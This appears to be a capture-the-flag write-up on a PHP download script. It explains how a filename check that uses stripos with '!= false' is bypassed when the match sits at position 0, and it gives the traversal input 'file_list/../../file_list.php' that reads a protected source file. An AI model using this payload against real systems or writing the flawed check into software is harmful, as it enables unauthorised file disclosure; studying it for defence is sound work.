stripos — Find the position of the first occurrence of a case-insensitive substring in a string
Return Values:
Returns the position of where the needle exists relative to the beginnning of the haystack string (independent of offset). Also note that string positions start at 0, and not 1.
Returns FALSE if the needle was not found.
Warning
This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.
Ok so stripos only need to match file_list and don't care of is after.
If $filename = '951470281beb8a490a941ac73bd10953';:
1 2 3 4 5 6
if(stripos(951470281beb8a490a941ac73bd10953, 'file_list') != false) die(); // stripos return false so (false != false) => false and no die() so we can continue header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename='951470281beb8a490a941ac73bd10953'"); // but we don't want to download this file but exploit LFI to retrieve file_list.php readfile("uploads/951470281beb8a490a941ac73bd10953");
If $filename = 'file_list';:
1 2 3 4 5 6 7 8
if(stripos('file_list', 'file_list') != false) die(); // stripos return 0 // because of evaluated boolean (0 == false) => true, so (0 != false) => false and no die() so we can continue header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename='file_list'"); // but here no file exists readfile("uploads/file_list"); // it's the same for $filename = file_list.php
So what?
if bad file name => if statement return false (stripos return false)
if file name begin with file_list => if statement return false (stripos return 0)
if file name contains but doesn't begin with file_list => if statement return true (and we die) because (stripos return n > 0)
So we need to create a string that begin with file_list in order to make stripos returning 0 but using the LFI to bypass readfile("uploads/$filename");.
Here we are, let's try $filename = 'file_list/../../file_list.php';:
1 2 3 4 5 6
if(stripos('file_list/../../file_list.php', 'file_list') != false) die(); // stripos return 0 header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename='file_list/../../file_list.php'"); // LFI tricks we can read the file! readfile("uploads/file_list/../../file_list.php");